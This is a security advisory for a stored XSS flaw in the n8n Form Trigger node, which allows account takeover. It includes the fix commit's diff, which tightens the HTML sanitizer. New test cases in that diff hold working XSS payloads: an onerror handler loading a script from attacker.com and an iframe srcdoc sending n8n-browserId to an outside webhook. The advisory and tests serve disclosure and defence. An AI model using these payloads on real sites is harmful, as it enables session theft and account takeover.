Stored XSS in n8n Form Trigger allows Account Takeover via injected iframe and video/source
Description
n8n is a workflow automation platform. From 1.77.0 to before 1.98.2, a stored Cross-Site Scripting (XSS) vulnerability was identified in n8n, specifically in the Form Trigger node's HTML form element. An authenticated attacker can inject malicious HTML via an <iframe> with a srcdoc payload that includes arbitrary JavaScript execution. The attacker can also inject malicious Javascript by using <video> coupled <source> using an onerror event. While using iframe or a combination of video and source tag, this vulnerability allows for Account Takeover (ATO) by exfiltrating n8n-browserId and session cookies from authenticated users who visit a maliciously crafted form. Using these tokens and cookies, an attacker can impersonate the victim and change account details such as email addresses, enabling full control over the account—especially if 2FA is not enabled. Users should upgrade to version >= 1.98.2.
Affected packages
Versions sourced from the GitHub Security Advisory.
| Package | Affected versions | Patched versions |
|---|---|---|
n8nnpm | >= 1.77.0, < 1.98.2 | 1.98.2 |
Affected products
1Patches
17940384a8504fix(n8n Form Node): Prevent XSS with video and source tags (#16329)
11 files changed · +55 −18
packages/nodes-base/nodes/Form/Form.node.ts+3 −3 modified@@ -19,12 +19,12 @@ import { } from 'n8n-workflow'; import { cssVariables } from './cssVariables'; -import { renderFormCompletion } from './formCompletionUtils'; -import { renderFormNode } from './formNodeUtils'; +import { renderFormCompletion } from './utils/formCompletionUtils'; +import { renderFormNode } from './utils/formNodeUtils'; +import { prepareFormReturnItem, resolveRawData } from './utils/utils'; import { configureWaitTillDate } from '../../utils/sendAndWait/configureWaitTillDate.util'; import { limitWaitTimeProperties } from '../../utils/sendAndWait/descriptions'; import { formDescription, formFields, formTitle } from '../Form/common.descriptions'; -import { prepareFormReturnItem, resolveRawData } from '../Form/utils'; const waitTimeProperties: INodeProperties[] = [ {
packages/nodes-base/nodes/Form/test/formCompletionUtils.test.ts+1 −1 modified@@ -2,7 +2,7 @@ import { type Response } from 'express'; import { type MockProxy, mock } from 'jest-mock-extended'; import { type INode, type IWebhookFunctions } from 'n8n-workflow'; -import { binaryResponse, renderFormCompletion } from '../formCompletionUtils'; +import { binaryResponse, renderFormCompletion } from '../utils/formCompletionUtils'; describe('formCompletionUtils', () => { let mockWebhookFunctions: MockProxy<IWebhookFunctions>;
packages/nodes-base/nodes/Form/test/formNodeUtils.test.ts+1 −1 modified@@ -7,7 +7,7 @@ import { type NodeTypeAndVersion, } from 'n8n-workflow'; -import { renderFormNode } from '../formNodeUtils'; +import { renderFormNode } from '../utils/formNodeUtils'; describe('formNodeUtils', () => { let webhookFunctions: MockProxy<IWebhookFunctions>;
packages/nodes-base/nodes/Form/test/utils.test.ts+20 −1 modified@@ -22,7 +22,7 @@ import { validateResponseModeConfiguration, prepareFormFields, addFormResponseDataToReturnItem, -} from '../utils'; +} from '../utils/utils'; describe('FormTrigger, parseFormDescription', () => { it('should remove HTML tags and truncate to 150 characters', () => { @@ -64,6 +64,25 @@ describe('FormTrigger, sanitizeHtml', () => { html: '<input type="text" value="test">', expected: '', }, + { + html: '<video width="640" height="360" controls><source src="https://www.w3schools.com/html/mov_bbb.mp4" type="video/mp4">Your browser does not support the video tag.</video>', + expected: + '<video width="640" height="360" controls><source src="https://www.w3schools.com/html/mov_bbb.mp4" type="video/mp4"></source>Your browser does not support the video tag.</video>', + }, + { + html: '<video controls width="640" height="360" onclick="alert(\'XSS\')" style="border:10px solid red;"><source src="javascript:alert(\'XSS\')" type="video/mp4">Fallback text</video>', + expected: + '<video controls width="640" height="360"><source type="video/mp4"></source>Fallback text</video>', + }, + { + html: "<video><source onerror=\"s=document.createElement('script');s.src='http://attacker.com/evil.js';document.body.appendChild(s);\">", + expected: '<video><source></source></video>', + }, + { + html: "<iframe srcdoc=\"<script>fetch('https://YOURDOMAIN.app.n8n.cloud/webhook/pepe?id='+localStorage.getItem('n8n-browserId'))</script>\"></iframe>", + expected: + '<iframe referrerpolicy="strict-origin-when-cross-origin" allow="fullscreen; autoplay; encrypted-media"></iframe>', + }, ]; givenHtml.forEach(({ html, expected }) => {
packages/nodes-base/nodes/Form/utils/formCompletionUtils.ts+0 −0 renamedpackages/nodes-base/nodes/Form/utils/formNodeUtils.ts+0 −0 renamedpackages/nodes-base/nodes/Form/utils/utils.ts+22 −8 renamed@@ -18,11 +18,11 @@ import { } from 'n8n-workflow'; import sanitize from 'sanitize-html'; -import type { FormTriggerData, FormTriggerInput } from './interfaces'; -import { FORM_TRIGGER_AUTHENTICATION_PROPERTY } from './interfaces'; -import { getResolvables } from '../../utils/utilities'; -import { WebhookAuthorizationError } from '../Webhook/error'; -import { validateWebhookAuthentication } from '../Webhook/utils'; +import { getResolvables } from '../../../utils/utilities'; +import { WebhookAuthorizationError } from '../../Webhook/error'; +import { validateWebhookAuthentication } from '../../Webhook/utils'; +import { FORM_TRIGGER_AUTHENTICATION_PROPERTY } from '../interfaces'; +import type { FormTriggerData, FormTriggerInput } from '../interfaces'; export function sanitizeHtml(text: string) { return sanitize(text, { @@ -58,10 +58,24 @@ export function sanitizeHtml(text: string) { allowedAttributes: { a: ['href', 'target', 'rel'], img: ['src', 'alt', 'width', 'height'], - video: ['*'], - iframe: ['*'], - source: ['*'], + video: ['controls', 'autoplay', 'loop', 'muted', 'poster', 'width', 'height'], + iframe: [ + 'src', + 'width', + 'height', + 'frameborder', + 'allow', + 'allowfullscreen', + 'referrerpolicy', + ], + source: ['src', 'type'], }, + allowedSchemes: ['https', 'http'], + allowedSchemesByTag: { + source: ['https', 'http'], + iframe: ['https', 'http'], + }, + allowProtocolRelative: false, transformTags: { iframe: sanitize.simpleTransform('iframe', { sandbox: '',
packages/nodes-base/nodes/Form/v1/FormTriggerV1.node.ts+1 −1 modified@@ -15,7 +15,7 @@ import { formTriggerPanel, webhookPath, } from '../common.descriptions'; -import { formWebhook } from '../utils'; +import { formWebhook } from '../utils/utils'; const descriptionV1: INodeTypeDescription = { displayName: 'n8n Form Trigger',
packages/nodes-base/nodes/Form/v2/FormTriggerV2.node.ts+1 −1 modified@@ -21,7 +21,7 @@ import { } from '../common.descriptions'; import { cssVariables } from '../cssVariables'; import { FORM_TRIGGER_AUTHENTICATION_PROPERTY } from '../interfaces'; -import { formWebhook } from '../utils'; +import { formWebhook } from '../utils/utils'; const useWorkflowTimezone: INodeProperties = { displayName: 'Use Workflow Timezone',
packages/nodes-base/nodes/Wait/Wait.node.ts+1 −1 modified@@ -23,7 +23,7 @@ import { formTitle, appendAttributionToForm, } from '../Form/common.descriptions'; -import { formWebhook } from '../Form/utils'; +import { formWebhook } from '../Form/utils/utils'; import { authenticationProperty, credentialsProperty,
packages/nodes-base/utils/sendAndWait/utils.ts+5 −1 modified@@ -24,7 +24,11 @@ import { import type { IEmail } from './interfaces'; import { cssVariables } from '../../nodes/Form/cssVariables'; import { formFieldsProperties } from '../../nodes/Form/Form.node'; -import { prepareFormData, prepareFormReturnItem, resolveRawData } from '../../nodes/Form/utils'; +import { + prepareFormData, + prepareFormReturnItem, + resolveRawData, +} from '../../nodes/Form/utils/utils'; import { escapeHtml } from '../utilities'; export type SendAndWaitConfig = {
Vulnerability mechanics
Generated by null/stub on May 9, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
5- github.com/advisories/GHSA-hfmv-hhh3-43f2ghsaADVISORY
- nvd.nist.gov/vuln/detail/CVE-2025-52478ghsaADVISORY
- github.com/n8n-io/n8n/commit/7940384a85041a1890b1203d69c092c887312500ghsax_refsource_MISCWEB
- github.com/n8n-io/n8n/pull/16329ghsax_refsource_MISCWEB
- github.com/n8n-io/n8n/security/advisories/GHSA-hfmv-hhh3-43f2ghsax_refsource_CONFIRMWEB
News mentions
0No linked articles in our index yet.